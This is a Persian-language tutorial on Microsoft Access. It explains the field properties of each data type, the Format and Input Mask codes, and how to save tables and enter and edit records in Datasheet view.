اگر به خاطر داشته باشيد در دروس قبلي شروع به طراحي پايگاه داده هاي خود كرديم و در مورد پنجره Design View كه ما را در طراحي جداول ياري مي كند به طور مفصل صحبت شد. همچنين در درس قبل در مورد انواع داده هايي كه از طرف اكسس پشتيباني مي شود و شما مي توانيد از آنها در ايجاد جداول خود كمك بگيريد بحث كرديم. حال كه ما با انواع داده ها آشنا شديم وقت آن رسيده است كه به تنظيم خصوصيات اين داده ها بپردازيم و اين همان موضوعي است كه در اين درس به آن پرداخته شده است.

تعريف خواص فيلد:

به محض آنكه شما نوع داده را از ليست قسمت Data Type انتخاب كرديد در پايين همان پنجره قسمتي كه به Field Properties مشهور است در پايين گوشه چپ نمايان مي شود كه در اين پنجره كوچك كه داراي دو شاخص General و Lookup مي باشد ما اقدام به تنظيم خواص فيلد مي كنيم. بسياري از فيلدهاي خواص فيلد, اختياري است. برخي از فيلدها به هيچ فيلد خاصه اي نياز ندارند حال آنكه برخي ديگر از فيلدها به چندين فيلد خاصه نياز دارند. شما مي توانيد در شكل 101 در زير پنجره خواص فيلد براي يك فيلد متني را مشاهده كنيد.
هر فيلدي كه داراي نوع خاصي است همچنين داراي خصوصيات مربوط به خود مي باشد كه با خصوصيات ديگر فيلدها متفاوت مي باشدمثلا در شكل بالا ما از ليست باز شده Text را كه فيلد متني ايجاد مي كند را انتخاب كرديم اگر به جاي آن يك نوع ديگر فيلد مانند Number (اعداد) را انتخاب مي كرديم خصوصيات فيلد ما كه در پايين پنجره مشخص است متفاوت از اين شكل مي شد يعني فيلد متني خصوصيات مربوط به خود را دارد و فيلد اعداد خصوصيات متمايز از فيلد متني اين موضوع در مورد انواع ديگر داده نيز صدق مي كند. همانطور كه براي فيلد خود نوع داده اي را انتخاب كرديم مانند Text بايد براي آن خصوصيات مخصوص به خود را نيز ذكر كنيم. براي اين كار مي توانيم بر روي كادرهاي موجود در قسمت خصوصيات فيلد كليك كرده و مقدار مورد نظر خود را در آنها وارد كنيم كه در طول اين درس ما با نحوه عملكرد كادرهاي خصوصيات فيلد آشنا خواهيم شد.
بخش Field properties (خصوصيات فيلد) خاصه هايي از قبيل اندازه فيلد, شكل نمايش و تعداد اعشار را مشخص مي كند. هر نوع فيلد داده, مجموعه فيلدهاي خاصه خودش را دارد. در زير به ترتيب به معرفي خاصه هاي مختلف هريك از انواع داده مي پردازيم.

خواص فيلد متني:

در زير هر يك از مقادير خاصه هاي فيلد از نوع Text را تشريح كرده ام:
--------------->
Field Size(اندازه فيلد): حداكثر طول داده اي را كه در فيلد قابل نگهداري است تعيين مي كند مثلا اگر ما بخواهيم كه كاربر در فيلد نام بيش از 15 كاراكتر قرار ندهد مي توانيم با تنظيم اين خصوصيت روي 15 بيش از اين مقدار را قبول نكنيم.
Format(شكل): شكلي را كه اكسس براي نمايش داده فيلد بكار مي برد تعيين مي كند. مثلا ما مي توانيم در اين قسمت تعيين كنيم كه حرف اول فيلد ما به صورت بزرگ نشان داده شود.
Input Mask(قالب ورودي): نحوه ورود داده به فيلد را تعيين مي كنيم مثلا اگر ما كد كارگري به شكل 2225-2 داشته باشيم مي توانيم تعيين كنيم كه كاربر به هنگام وارد كردن كد در اين قسمت حتما بايد در دومين كاراكتر خط فاصله قرار دهد.
Caption(عنوان): پيامي است كه در هنگام انتخاب فيلد در حالت نمايش Datasheet در ميله وضعيت نمايش داده مي شود.
Value Default(مقدار پيش فرض):مقداري است كه كاربر همواره در فيلد مشاهده مي كند مگر آنكه آن را تغيير دهد مثلا در فيلد جنسيت مي توان نام مرد را همواره براي كاربر نشان داد و اگر كاربر مايل باشد مي تواند آن را تغيير دهد و يا آنرا به صورت پيش فرض قبول كند.
Validation Rule(قاعده مقبوليت): مقاديري كه كاربر در فيلد وارد مي كند را محدود مي سازد (در اين مورد در دروس آتي بيشتر صحبت مي كنيم)
Validation text(متن مقبوليت):پيام خطايي است كه در صورتيكه كاربر اقدام به ورود مقداري كند كه قاعده مقبوليت را نقض كند نمايش داده مي شود.
Required(ضرورت):مشخص مي كند كه آيا كاربر مي تواند در هنگام ورود داده در جدول اين فيلد را خالي رد كند يا حتما بايد مقداري در آن وارد كند مثلا اگر كاربر فيلد كه كليد اصلي مي باشد خالي رد كند برنامه با مشكل روبرو مي شود.
Allow Zero Length(مجاز بودن طول صفر): مشخص مي كند كه آيا متني با طول صفر در فيلد قابل قبول است يا نه.
Indexed(نياز به ايجاد انديكس):مشخص مي كند كه آيا فيلد به انديكس نياز دارد يا نه. فيلد انديكس مرتب كردن و جستجو را تسريع مي كند.
Unicode Compression(فشرده سازي يونيكد): در اين قسمت تعيين مي كنيم كه مايليم فيلد ما با استفاده از سيستم Unicode فشرده سازي شود كه اين گزينه براي قابليت فارسي نويسي در اكسس مفيد مي باشد.(در مورد سيستم Unicode مي توانيد به دروس HTML در همين سايت مراجعه كنيد).
---------------
توجه: هنگامي كه خاصه اندازه فيلد را معين مي كنيد, آنرا بزرگتر از آنچه واقعا نياز داريد قرار ندهيد. اكسس فضاي تخصيص يافته را بر مبناي اين مقدار تعيين مي كند, صرفنظر از اينكه طول به كار گرفته شود يا خير. در صورت بزرگتر گرفتن آن , فضاي ديسك بيهوده اشغال مي شود.
فيلدهاي Format(شكل) و Input Mask(قالب ورودي) پيچيده ترين خاصه هاي هر فيلد هستند. به عبارت ديگر, هنگامي كه نحوه نمايش و ورود داده با استفاده از اين خاصه ها را ياد مي گيريد چنان است كه گويي زبان جديدي را فرامي گيريد. اينكه اكسس چگونه داده هاي وارد شده در فيلد را نمايش دهد, توسط فيلد خاصه Format تعيين مي شود و خاصه Input Mask چگونگي ورود داده در فيلد را تعيين مي كند.
در زير مقاديري را كه شما مي توانيد در فيلد خصوصيت شكل Format وارد كنيد تشريح شده اند كه به وسيله آنها مي توانيد نحوه نمايش داده ها را تعيين كنيد:
--------------->
! : برخلاف پيش فرض تراز از سمت راست, داده هاي درون فيلد را تراز به سمت چپ مي كند.
* : در اين مكان از فيلد كاراكتري بايد قرار گيرد.
& : در اين مكان از فيلد وجود كاراكتر دلخواه است. (الزامي نيست)
< : در اين مكان از فيلد كاراكتر به حروف كوچك تبديل مي شود.
> : در اين مكان از فيلد كاراكتر به حروف بزرگتر تبديل مي شود.
\ : بجاي اينكه كاراكتر بعدي را حرفي در نظر گيرد, آنرا بعنوان كد شكل در نظر مي گيرد. (براي نمايش * مفيد است, در غير اينصورت اكسس ستاره به عنوان كاراكتر علامت محل فيلد در نظر مي گيرد.)
--------------
مثال: بنابراين اگر خاصه format فيلدي را &>&&&&& تعيين كنيد و نخستين ركورد جدول بصورت lw3dp2 باشد اكسس آنرا به lw3dP2 تبديل مي كند (كاراكتر > حرف P را به صورت حرف بزرگ P نشان مي دهد).
در زير هم به معرفي مقاديري كه شما مي توانيد در خاصه Input Mask قرار دهيد ذكر شده اند:
------------->
0 : در اين مكان از فيلد عدد بايد باشد.
9 : در اين مكان از فيلد عدد يا فاصله بايد باشد.
# : در اين مكان از فيلد عدد, علامت مثبت, علامت منفي يا فاصله مي تواند قرار گيرد.
1 : در اين مكان از فيلد بايد يك حرف الفبايي باشد.
؟ : در اين مكان از فيلد هر حرف الفبايي به دلخواه مي تواند باشد.
A : در اين مكان از فيلد بايد يك حرف يا يك عدد باشد.
a : در اين مكان از فيلد به دلخواه يك حرف يا عدد مي تواند قرار گيرد.
& : در اين مكان از فيلد بايد يك كاراكتر يا فاصله قرار گيرد.
c : در اين مكان از فيلد يك كاراكتر دلخواه قرار مي گيرد.
> : كاراكتر در اين محل به حرف بزرگ تبديل مي شود.
< : كاراكتر در اين محل به حرف كوچك نبديل مي شود.
! : باعث مي شود تا كاراكترهاي ورودي در فيلد به جاي آنچه از سمت راست شروع شوند, از سمت چپ شروع شوند.
\ : بجاي اينكه كاراكتر بعدي را حرفي در نظر بگيرد آنرا به عنوان كد شكل در نظر مي گيرد (براي نمايش كاراكترهاي مانند * و ! مناسب است.)
--------------
مثال: بنابراين اگر خصوصيت شكل فيلدي را 0000-000(9999) تعريف كنيد اكسس كاربر را مجبور خواهد كرد تا شماره تلفن را به شكل ده رقمي وارد كند.

خواص فيلد Memo:

داده از نوع Memo (يادداشت) مقادير خاصه هاي فيلد زير را نيز داراست, كه تمامي آنها در بالا بخش مربوط به فيلد Text تشريح شدند پس فقط به ذكر آنها بسنده كرده و آنها را توضيح نمي دهيم:
Format (شكل), Caption(عنوان), Default Value(مقدار پيش فرض), Validation Rule(قاعده مقبوليت), Validation Text(متن مقبوليت), Required(لازم بودن), Allow Zero Length(مجاز بودن طول صفر), Unicode Compression(فشرده سازي يونيكد).
به عبارت ديگر اگر فيلدي از نوع Memo داشته باشيد مي توانيد درست مشابه فيلد متن شكل, عنوان و ساير خصوصيات آنرا را تعريف كنيد.

خواص فيلد عددي:

در زير مقادير خاصه هاي فيلد از نوع Number تشريح شده است( به خاطر تكرار نكردن آنچه قبلا ذكر شد آنهايي كه مشابه فيلد از نوع Text مي باشند ذكر نشده اند تا فقط موارد جديد به اطلاع شما برسند):
------------->
Field Size(اندازه فيلد):اگر فيلدي از نوع عدد داشته باشيد و بخواهيم اندازه فيلد را در خصوصيات آنرا تعريف كنيد شما مي توانيد از ليست موجود در اين قسمت يكي را انتخاب كنيد كه هر كدام را عناصر ليست را با نوع كاربرد آنرا ذكر مي كنيم: Byte(براي نگهداري يك عدد كوچك بين 0 تا 255), Integer(يك عدد بزرگتر تا 32767), Long Integer(يك عدد باز هم بزرگتر تا 2/1 ميليون), Single(عدد اعشاري), Double(عدد اعشاري با دقت زياد), Replication ID( يك مقدار عدد شناسائي انعكاسي براي هماهنگ كردن چندين جدول پايگاه داده), Decimal(براي اعدادبر مبناي دسيمال).
Format(شكل): در اين بخش از خصوصيات هم بايد يكي از موارد موجود در ليست را انتخاب كنيد كه به ذكر آنها بسنده مي كنيم: General Number(براي مقادير معمولي), Currency(براي مقادير پولي), Euro(براي مقاديري با واحد پول يورو), Fixed(همواره بايد يك رقم اعشار داشته باشد), Standard(كه در اعداد بزرگ ويرگول نشان مي دهد), Percent(براي نمايش ارقام درصدي همراه با علامت درصد),Scientific(براي نمايش ارقام علمي).
Decimal Places(ارقام اعشار): تعداد ارقام اعشاري كه براي يك مقدار نشان داده مي شود.
-------------
ديگر موارد موجود در خصوصيات فيلد از نوع عدد تكراري بوده و انها را مي توانيد مانند فيلد از نوع متن تنظيم كنيد.
اگر داده اي كه در فيلد وارد مي كنيد بزرگتر از نوع داده انتخابي باشد, اكسس پيام خطايي مبني بر وجود مشكل را نمايش مي دهد.

خواص فيلد تاريخ/زمان:

در زير به تشريح هر يك از مقادير خاصه هاي فيلد تاريخ/زمان مي پردازيم توجه كنيد كه از ذكر موارد تكراري اجتناب شده است.
------------>
Format(شكل): در اين بخش از خصوصيات بايد از ليست موجود يكي را به دلخواه و نحوه عملكرد برنامه انتخاب كنيد: General Data (براي تاريخ به شكل 1382/4/20 و زمان به شكل 3:12:2 عصر ), Long Data(براي نشان داده تاريخ به شكل بلند كه در آن نام ماه ذكر شده است), Medium Data(براي نشان دادن تاريخ به شكل 82-مرداد-20), Short Data(براي نشان دادن تاريخ به شكل معمول و كوچك), Long Time(براي نشان دادن زمان به شكل 3:12:2 عصر ), Medium Time:(براي نشان داده زمان به شكل 3:12 عصر ), Short Time(براي نشان دادن زمان به صورت 3:12).
------------
ديگر موارد و خصوصيات موجود در اين نوع داده مانند داده از نوع Text مي باشد.
توجه: اگر هيچ يك از اشكال دقيقا آنچه لازم داريد نبود, مي توانيد شكل مورد نظر خود را, با كاراكترهاي خاص بسازيد كه اين مبحث يك مبحث طولاني مي باشد در برنامه ما نمي گنجد شما مي تواند براي اينكار از Help بهره بگيريد.

خواص فيلد Currency (ارز/پول):

اين نوع از فيلد در واقع زيرمجموعه اي از داده نوع عدد مي باشد كه خصوصيات آن مانند داده از نوع عدد مي باشد ولي بايد براي ايجاد داده از نوع ارز از قسمت Format مورد Currency انتخاب شود.

خواص فيلد از نوع Auto Number(عدد خودكار):

در زير هر يك از موارد و خصوصيات داده از نوع عدد خودكار شرح داده شده است:
------------>
Fielg Size(اندازه فيلد): اگر مي خواهيد به صورت پيش فرض از اين نوع داده استفاده كنيد از ليت باز شده Long Integer را انتخاب كنيد ولي اگر مي خواهيد از پايگاه داده تكرار شونده استفاده شود بايد Replication ID انتخاب شود.
New Values(مقادير جديد): بايد تعيين كنيد كه اكسس اعدادي را كه در اين فيلد قرار مي دهد از نوع Increment(به صورت افزايشي) يا از نوع Random(به صورت تصادفي) باشد.
Format(شكل): ليست موجود در اين بخش از خصوصيات فيلد درست مانند داده از نوع عدد مي باشد كه مي توانيد مانند آن يكي از مقدارهاي موجود را انتخاب كنيد.)
------------
ديگر خصوصيات موجود در اين نوع داده در بالا ذكر شده كه از تكرار كردن آنها اجتناب مي كنيم.

خواص فيلد Yes/No(بلي/خير):

هر يك از خصوصيات اين فيلد در زير تشريح شده است و طبق معمول از تكرار اجتناب كرده ايم:
----------->
Format(شكل): براي اينكه نحوه نمايش فيلد براي اكسس مشخص شود يكي از حالات Yes/No(بلي يا خير), True/False(درست/غلط), On/Off(روشن/خاموش) را مي توانيد انتخاب كنيد.
-----------

خواص فيلد شي OLE :

خواص موجود در اين نوع از فيلد كه دو مورد مي باشد در قسمتهاي ديگر اين درس ذكر شده كه بسيار ساده و پيش پا افتاده مي باشد.

خواص فيلد از نوع Hyperlink(ابرمتن):

خاصيتهاي موجود براي اين نوع از داده همانند خواص موجود براي داده از نوع Text(متن) مي باشد كه من ضرورتي در تكرار موارد ساده اي مانند اين نمي بينم.

خواص فيلد Lookup Wizard(جادوگر جستجوگر):

داده از نوع Lookwizard جادوگري را به كار مي اندازد كه شما با طي مراحل اين جادوگر و انتخاب جدول و فيلدهاي جدولهايي كه انتخاب كرده ايد و مي خواهيد داده ها از آنها استخراج شده و در مقابل كاربر نشان داده شود خصوصيات متفاوتي را براي شما نمايان مي كند.(توجه كنيد كه براي استفاده از جادوگر جستجو قبلا بايد جدولي داشته باشيد كه داده ها از آن استخراج شده و در اين قسمت قرار داده شود پس اول جدولي حاوي داده هايي كه مي خواهيد در ليست قرار داده شود ايجاد كرده وسپس از جادوگر استفاده كنيد). بعد از طي مراحل جادوگر و ايجاد آن شما مي توانيد بر روي شاخص Lookup موجود در قسمت خصوصيات فيلد كليك كرده تا خصوصيات مربوط به جادوگر طراحي شده براي شما نمايان شود در زير هر يك از اين خصوصيات موجود تشريح شده است:
----------->
Display Control(كنترل نمايش داده شده): اين خاصه مشخص مي كند كه در هنگام دريافت اطلاعات در حالت نمايشي Datasheet چه كنترلي در اين فيلد اعمال شود ليست موجود در اين قسمت حاوي Text Box(جعبه متن), List Box(جعبه ليست شده), Combo Box(جعبه تركيب) مي باشد.
Row Source Type(نوع ماخذ سطر):مشخص كننده جايي است كه داده از آن منشا مي گيرد. گزينه هاي ممكن عبارتند از Table/Query(جدول يا بازجست), Value List( داده هايي كه وارد مي كنيد), Field list(فهرستي از فيلدهاي يك جدول يا جستجو).
Row Source(ماخذ سطر): مي تواند يك جدول يا بازجست يا معمولا يم عبارت SQL باشد. از شنيدن عبارت SQL مضطرب نشويد نمايشش شايد به چشم گيج كننده برسد اما در واقع همان چيزي است كه هنگام ايجاد بازجست آنرا مي سازيد. پس زياد اين قسمت از خصوصيات را دستكاري نكنيد تا با آن بيشتر آشنا شويد.
Bound Column(ستون مقيد): ستوني از List Box يا Combo Box است كه قبلا انتخاب شده است و اين فيلد داده هاي نمايش را از آن برمي دارد.
Column Count(تعداد ستونها): تعداد ستونهاي ماخذ سطري است كه مي خواهيد نمايش داده شود.
Column Heads(عناوين ستونها): تعيين مي كند كه آيا براي ستونها عنواني نيز نمايش داده شود يا نه.
Column width(پهناي ستونها): پهناي هر يك از ستونها را بر حسب سانتيمتر نشان مي دهد كه با ويرگول از هم جدا شده اند.
List Rows(تعداد سطور فهرست): اين خصوصيت همانطور كه از نامش پيدا است تعداد ستونها نمايش داده شده را تعيين مي كند.
List Width(پهناي فهرست): پهناي كلي Combo Box يا List Box را مشخص مي كند.
Limit to list(محدود به فهرست): مشخص مي كند كه آيا كاربر بايد از فهرست انتخاب كند يا اين كه مي تواند مقادير مورد نظرش را نيز وارد كند.
----------
Lookup Wizard قابليتي جالب است, اين قابليت ابزار قدرتمند و سودمندي است. هر چند تا زماني كه قدري با اكسس كار نكنيد از اين فهرستها در جدول استفاده نخواهيد كرد, ليكن هنگامي كه آماده استفاده از آن شديد متوجه خواهيد شد كه كار با آنها ساده است.

خواص جستجو:

در قسمت خصوصيات فيلد سربرگ ديگري به نام Lookup وجود دارد كه آنرا مي توانيد براي بعضي از نوع داده ها تنظيم كنيد نه براي همه و كار با اين سربرگ بسيار ساده و راحت است و تمامي موارد موجود در آن را توضيح داده ايم وشما در كار كردن با آن كه بسيار كم به آن احتياج خواهيد داشت مشكلي نخواهيد داشت.

ذخيره كردن جدول:

در هنگام طراحي جدول حتما به خاطر داشته باشيد كه كليد اصلي را در آن ايجاد كنيد يا به عبارت ديگر بهتر است قبل از هر كاري كليد اصلي را در ابتداي جدول ايجاد كنيد.
اما بعد از اينكه جدول خود را به طور كامل تعريف كرديدبايد آنرا ذخيره كنيد. براي اين كار مي توانيد با زدن علامت ضربدر گوشه سمت راست بالا جدول اقدام به بستن جدول كنيد و هنگام سوال كردن از شما مبني بر ذخيره جدول آنرا تائيد كرده و نامي را كه در نظر داريد به جدول خود اختصاص دهيد. پس از اين كار جدول بسته خواهد شد و نام آنرا مي توانيد در ميان فهرست جداول موجود ببينيد.

حالا شما قادر به طراحي جداول مي باشيد هرچند كه پيچيده باشند و به مرور زمان در اين كار استاد خواهيد شد. حال كه شما مي توانيد اولين شي موجود در پايگاه داده خود را ايجاد كنيد پس اقدام به اينكار كرده و چندين جدول را براي برنامه خود ايجاد كنيد كار زيبا و لذت آوري است. در درس آتي به نحوه وارد كردن داده هاي در جدول ايجاد شده خواهيم پرداخت پس تا درس آتي جداول خود را ايجاد كرده باشيد تا در وارد كردن داده ها دچار مشكل خاصي نشويد.

ورود داده‌ها به جدول

حال كه در سه درس قبلي با طراحي جداول در اكسس آشنا شديد و موفق شديد كه اولين جدول خود را طراحي و در پايگاه داده قرار دهيد موقع آن رسيده است كه از جداول طراحي شده توسط خودتان استفاده كامل را ببريد يعني داده ها خود را براي نگهداري و انجام عمليات در جداول خود وارد كنيد و اين موضوع يعني وارد كردن داده ها در جدول و اصلاحات در آنها موضوع درس اين جلسه مي باشد.
در ادامه اين درس به بررسي راه كارهاي موجود براي وارد كردن اطلاعات در جدول هاي طراحي شده خواهيم پرداخت. شايد ساده ترين و پركاربردترين راه براي ورود داده ها, استفاده از حالت نمايشي Datasheet يا صفحه گسترده باشد.اگر تا به حال تجربه كاركردن با برنامه هايي مانند Microsoft Excel را داشته باشيد حتما تشابه بسيار بين اين برنامه و حالت نمايشي Datasheet خواهيد ديد. با استفاده از حالت نمايشي Datasheet به راحتي مي توانيد مقادير را در سطرها (ركوردها) و ستونهاي (فيلدها) جدول وارد كنيد.در اين حالت نمايشي با ورود مقادير در سطرها و ستونها در واقع ركوردها و فيلدهاي جدول را پر مي كنيد. علاوه بر ورود داده هاي جديد هنگامي كه خطايي در داده وارد شده مشاهده كنيد يا وقتي بخواهيد مقادير را تغيير دهيد با يد داده هاي موجود را اصلاح كنيد. اكسس براي جستجو و اصلاح محتواي جدول ها, در حالت نمايشي Datasheet ابزارهاي اصلاحي متعددي دارد. حالت نمايشي Datasheet علاوه بر ورود و اصلاح داده ها, مي تواند در ميان داده هاي مورد نظر جستجو كند.

مقدمات جهت افزودن داده ها به جدول :

هنگامي كه با استفاده از حالت Design جدولي ايجاد كرديد براي ورود داده ها به آن آمادگي خواهيد داشت. پس اگر جدولي طراحي نكرده ايد يك جدول طراحي كنيد و اگر جدولي از پيش طراحي شده داريد مراحل زير را طي كنيد:
1) از ليست جدولهاي موجود جدولي را كه مي خواهيد داده ها را در آن وارد كنيد انتخاب كنيد, براي اينكار كافي است بر روي نام جدول موردنظر يك بار كليك كنيد.
2)براي باز كردن جدول روي كليد Open كليك كنيد. اكسس جدول را در حالت نمايشي Datasheet نمايش مي دهد. اگر اولين دفعه باشد كه اقدام به وارد كردن داده در جدول موردنظر مي كنيد جدول به صورت خالي ظاهر مي شود ولي اگر داده اي قبلا در آن وارد كرده باشيد داده هاي موجود نيز نشان داده خواهند شد. توجه: اگر قصد داشته باشيد كه تغييري در ساختار جدول ايجاد كنيد بايد بر روي دكمه Design كليك كنيد تا بتوانيد قسمتهاي موردنظر خود را تغيير داده يا فيلدهاي جديد خود را به آن اضافه كنيد( در اين مورد به صورت مفصل قبلا صحبت كرده ايم)
هنگامي كه براي اولين بار حالت نمايشي Datasheet ظاهر مي شود, اكسس نشانگر را در ابتداي نخستين فيلد در نخستين ركورد قرار مي دهد.

ورود داده ها در جدول :

به طور حتم تا حالا متوجه شده ايد كه براي وارد كردن داده ها در جدول به مهارت خاصي نياز نداريد. شروع به وارد كردن نخستين مقدار در جدول كنيد تا اكسس آنرا از شما قبول كند. با استفاده از تمامي كليدهاي صفحه كليد مي توانيد به راحتي داده ها را در جدول وارد كرده و بين فيلدها و ركوردهاي مختلف گشت بزنيد.
توجه: اگر براي فيلدي خصوصيات ويژه اي را تعريف كرده باشيد بايد مطابق با آن عمل كنيد. مثلا اگر طول فيلي را 12 كاراكتر تعيين كرده باشيد, اكسس فقط امكان ورود 12 كاراكتر را به شما خواهد داد. اگر توجه كرده باشيد متوجه مي شويد كه هنگامي كه شما شروع به وارد كردن اولين مقدار در نخستين فيلد ركورد كرديد, اكسس به طور خودكار ركورد خالي بعدي را ايجاد مي كند. بدين ترتيب مي توانيد پس از اتمام ورود داده در اولين ركورد به ركورد بعدي برويد. همچنين اگر دقت كنيد ستاره اي را در ابتداي ركورد خالي مي بينيد اين ستاره به اين معنا است كه ركورد جديد بوده و خالي نمي باشد. اگر در اين ركورد جديد داده اي وارد نكنيد اكسس آن را در جدول ذخيره نخواهد كرد.
يكي از راههاي متداول حدكت كردن در بين فيلدهاي جدول استفاده از كليد Tab است اگر كليد Tab را فشار بدهيد به فيلد بعدي موجود در جدول مي رويد و همچنين اگر Shift+Tab را فشار دهيد به فيلد قبلي موجود در جدول هدايت خواهيد شد. همچنين مي توانيد با اشاره گر ماوس بر روي فيلد مورد نظر كليك كرده و اقدام به ورود داده كنيد.
همواره نيم نگاهي هم به ميله وضعيت در پايين پنجره حالت نمايشي Datasheet داشته باشيد. وقتي كه داده ها را در فيلدهاي جدولي وارد مي كنيد ميله وضعيت توضيحي در باره آن فيلد مي دهد. در واقع اين توضيح همان توضيحي است كه شما در هنگام طراحي جدول در قسمت Description (شرح) فيلد واردكرده ايد و حال براي اطلاع كاربر در ميله وضعيت نشان داده مي شود. مثلا اگر در قسمت Description فيلد نام متن "نام كامل خود را وارد كنيد" را وارد كرده باشيد هنگامي كه كاربر مي خواهد اين فيلد را در جدول پر كند در ميله وضعيت عبارت "نام كامل خود را وارد كنيد" را مي بيند.
توجه: در ابتداي ركوردي كه در حال ورود داده يا اصلاح آن هستيد شكلك مداد نمايش داده مي شود.
توجه كنيد هنگامي كه تمامي فيلدهاي يك ركورد را پر كرديد و به ركورد بعدي رفتيد اكسس به طور خودكار ركورد را ذخيره مي كند. در اين صورت در صورت به وجود آمدن اتفاق غير قابل پيش بيني شما حداقل اطلاعات را از دست خواهيد داد. ولي چنانچه مايل هستيد به صورت دستي در ميانهاي وارد كردن داده ها در يك ركورد آن ركورد را ذخيره كنيد مي توانيد از كليدهاي Shift+Enter استفاده كنيد.

اصلاح فيلدهاي جدول :

در اكسس تغيير داده هاي وارد شده بسيار آسان است. فقط كافي است كه با استفاده از كليدهاي Tab و Shift+Tab يا با بهره گيري از ماوس به فيلد مورد نظر خود برويد تا اكسس تمامي محتويات آن فيلد را به صورت پر رنگ درآورد.حال مي توانيد اقدام به ورود داده جديد در آن فيلد بكنيد. فقط دقت كنيد چون تمامي محتويات فيلد به حالت پررنگ است داده جديد جايگزين آنها خواهد شد.
توجه: اكسس در ابتداي ركوردي كه در حال اصلاح است علامت فلش را قرار مي دهد. در واقع سه علامت مداد(ورود داده), فلش(اصلاح داده) و ستاره(ركورد جديد)علامتهاي متداول جدول است.
اگر قصد نداريد كه تمامي محتويات فيلد را پاك كنيد كافي است كليد F2 را فشار دهيد تا داده از حالت پر رنگ خارج شود. بدين ترتيب داده جديد به داده قبلي در همان فيلد اضافه مي شود.در واقع با زدن كليد F2 به حالت اصلاح وارد مي شويد.البته توجه كنيد كه با استفاده از ماوس مي توانيد در هرجايي از فيلد تغييرات لازم را بدهيد و استفاده از ماوس در اين كارها به مراتب راحتتر از صفحه كليد است.
در اينجا ذكر اين نكته را ضروري مي بينم شما مي توانيد از كليدهاي صفحه كليد تمامي بهره را ببريد و همه كليدها به طوري كه در برنامه هاي ديگر مانند ورد عمل مي كنند در اينجا نيز عمل خواهند كرد. همچنين شما مي توانيد با انتخاب گزينه هاي Copy و Paste از منو Edit محتواي يك فيلد را در فيلد ديگري كپي كنيد اين عمل درست مانند عمل كپي و الصاق در برنامه هاي واژه پرداز مانند Word مي باشد و عملكرد آن بسيار ساده و آسان است.

استفاده از ميله ابزار حالت نمايشي Datasheet

هنگام استفاده از حالت نمايشي Datasheet ميله ابزار مي تواند بسيار سودمند باشد. همانطور كه چندين بار نيز گفته ام اكسس در انجام فعاليتهاي مختلف ميله ابزار را تغيير مي دهد. در شكل 111 در زير شما مي توانيد با ميله ابزار اين پنجره آشنا شويد. حتما سعي كنيد تمامي امكانات ميله ابزار را به خاطر بسپاريد كه در مواقعي به آنها احتياج خواهيد داشت.يكي از كاربردهاي مفيد ميله ابزار دكمه view اولين دكمه موجود در اين ميله است كه با فشار دادن آن مي توانيد در بين حالتهاي نمايشي Datasheet و Design حركت كنيد.



كنترل بر روي ركوردهاي زياد:

فرض كنيد بخواهيد به جدولي كه قبلا چند صد ركورد وارد آن شده, ركوردهاي جديد را اضافه كنيد.ممكن است ركوردهاي جديد شما را گيج كنند و يا تشخيص ركوردهاي جديد دشوار باشد.قبل از ورود ركوردهاي جديد مي توانيد تمامي ركوردهاي پيشين را مخفي كنيد.براي اين كار كافي است از منو Records گزينه Data Entry را انتخاب كنيد اكسس بجز ركوردهايي كه به تازگي وارد شده, باقي را از ديد شما پنهان مي كند. در اين هنگام وقتي شما داده هاي جديد را وارد مي كنيد اكسس فقط ركوردهاي جديدي را كه وارد كرده ايد نمايش مي دهد.در واقع تمامي ركوردها در جدول وجود دارند ولي اكسس آنها را پنهان مي كند. براي بازگشت به وضعيت نمايش تمامي ركوردها مي توانيد از منو Records گزينه Remove File/Sort را انتخاب كنيد. در اين صورت اكسس تمامي ركوردهاي جدول را نشان مي دهد.
جدولهاي پايگاه داده ممكن است بسيار بزرگ باشد مثلا ممكن است در انبار يك شركت صدها جنس وجود داشته باشد كه در پايگاه داده ثبت شده اند.

براي حركت در جدولهاي بزرگ بجاي استفاده از كليدهاي صفحه كليد مي توانيد از منو Edit گزينه Goto را انتخاب كنيدتا ليستي باز شود كه به شما امكان رفتن به اولين ركورد, آخرين ركورد, ركورد قبلي يا بعدي در جدول را مي دهد.همچنين اگر از ليست باز شده گزينه New را انتخاب كنيد اكسس يك راست به ركورد جديدي در انتهاي جدول مي رود. در واقع اين ليست Goto درست مانند دكمه هاي حركت در زير پنجره Datasheet است كه قبلا درباره آنها صحبت كرديم. در اين دكمه شما مي توانيد با تايپ شماره ركورد مورد نظر يك راست به آن ركورد برويد. مثلا اگر در جدولي قصد رفتن به ركورد 1363 را داريد كافي است كليد F5 را فشار داده و عدد 1365 را وارد كنيد تا اكسس به آن ركورد رجوع كند.(البته در درس آتي جستجوي داده هاي معين توضيح داده خواهد شد)
حتما همگي با كاربرد دكمه Undo آشنا هستيد در واقع اين دكمه زماني به كار مي رود كه هنگام وارد كردن داده در يك فيلد متوجه شديد كه اشتباهي رخ داده است و قصد داريد داده هاي قبلي فيلد به آن بازگردند با زدن دكمه Undo(بازگرداندن) از ميله ابزار يا فشار كليد Esc از صفحه كليد اين عمل به راحتي انجام مي شود.

ورود داده هاي غير متني:

در اكثر فيلدهاي پايگاه داده شما نوع داده ذخيره شده در آن را قبلا در طراحي جدول تعيين كرده ايد مثلا فيلدي را از نوع متن و ديگري را از نوع عدد تعيين كرده ايد اگر در هنگام ورود داده مثلا در فيلدي از نوع عدد بخواهيد متن وارد كنيد اكسس پيغام خطايي به شما نشان مي دهد و اجازه اين كار به شما داده نخواهد شد. درست است كه تعداد فيلدهايي كه به غير از نوع متن و عدد هستند بسيار كم است ولي به هرحال ما مجبور به استفاده از آنها هستيم بعضي از اين انواع داده ها روشي خاصي را براي وارد كردن داده مي طلبند كه به آنها مي پرازيم:

ورود داده در فيلدي از نوع Memo :

همانطور كه در دروس پيش نيز ذكر شد داده از نوع Memo نسبت به داده از نوع متن مي تواند مقدار كاراكتر بيشتري را در خود نگهداري كند يعني چيزي حدود 64000 كاراكتر. اكسس براي كار با اين متن بزرگتر ابزار خاصي را در نظر گرفته است.
توجه: در حالت نمايشي Datasheet ابزارهاي ورود داده براي فيلدهاي از نوع Memo ضعيف است. فرمها و پنجره هاي محاوره(درون برنامه), قابليتهاي بهتري براي اين كار فراهم مي كنند.
معمولا در هنگامي كه در يك فيلد از نوع Memo قصد ورود داده اي را داشته باشيم روي آن Zoom مي كنيم براي اين كار كافي از كليدهاي shift+F2 را فشار دهيد.
